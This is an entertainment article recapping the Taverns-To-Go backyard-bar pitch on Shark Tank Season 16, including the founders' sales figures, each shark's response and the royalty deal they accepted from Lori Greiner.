The product is designed for those who want to have a good time and enjoy themselves with family and friends over toast at home. Their ‘Irish ingenuity’ led them to come up with the backyard bar Taverns-To-Go, which is delivered and assembled in under 90 minutes in the comfort of users’ backyards.

Crafted from pressure-treated lumber, their taverns are ideal for any climatic state, making them perfect for anywhere in the continental USA. With the help of a Shark, they are eyeing to go ‘global.’

Having more than 25 models to choose from, Taverns-To-Go offers a tavern for different types of backyards. The entrepreneurs also say that users can add their personal touch, stock it up, and let the good times roll.

Taverns-To-Go Shark Tank: What Happened On Season 16?

The entrepreneur duo enters seeking $400K for 10% equity in the Taverns Shark Tank deal. Lori Greiner thinks the idea is ‘cute’ and inquires about its costs. Paul and Enda say that it retails for $3,795, and depending on the user’s location, the delivery can be free or up to $590.

Having started during the pandemic in 2020, sales to date are $2.2 million. Plus, the entrepreneurs claim they are about to hit the $10 million mark. The Tavern-To-Go charges for the assembly and shipping costs collectively amount to $2,200, including overhead.

Discussing their backgrounds, Paul and Enda state that they hail from mechanical engineering and construction management verticals, respectively. The duo poured a couple of hundred dollars to build the first Taverns-To-Go bar.

The bar includes an in-house crew who deliver it as per the customer’s location. An incremental customer costs between $200-$250.

Kevin O’Leary feels ‘the model seems to be working’ and asks about their projected sales for this year. The entrepreneurs claim it to be about $4 million and that their profit margins are about 30% to 40%.

A post shared by Shark Tank (@sharktankabc)

Did Taverns-To-Go Get a Deal on Shark Tank?

Describing himself as the ‘third Irish dude,’ Kevin O’Leary proposes a deal of $400K for 30% equity. He claims he can use his ‘millions of followers’ on social media to blow out their socials. Plus, he says he can help the Taverns-To-Go founders reduce their customer acquisition costs.

Todd Graves says that he can order one but not make an offer as there were better-qualified investors. Mark Cuban, too, thinks alike. He opts out, saying he can be ‘a drinker’ but not a ‘construction guy.’ Daymond John, too, exits the Taverns-To-Go Shark Tank deal for the same reason.

Lori is ‘on the fence’ and thinks people will be ‘loving’ the product. Hinting at a royalty deal, she says she wants to take out something from Kevin’s ‘book.’ Her offer is $400K for a 15% equity, along with a $30 royalty for each bar sold till she recoups her $400K and makes $600K.

Mark, Todd, and Daymond feel the $30 amount is quite low, so the entrepreneurs should go for the deal. Lori then asks Daymond if she should revise it to $60. He replies, saying, ‘That’s not my business.’ Lori laughs out loud.

Paul and Enda like the royalty deal but ask her if she can bring down the equity to 12.5% after she gets back the $600K. Lori does not agree as she thinks that $30 is a ‘sweet, nice’ royalty and that she could have asked for a $100 royalty.

According to her, the fellow Sharks think the same. Kevin interrupts Lori, saying that the $30 royalty is a ‘greedy’ offer.

In the end, the founders accept Lori’s offer of $400K for a 15% equity along with a $30 royalty for each bar sold till she recoups her $400K and makes $600K.

The estimated net worth of Taverns-To-Go is around $4.26 million, as of 2025.
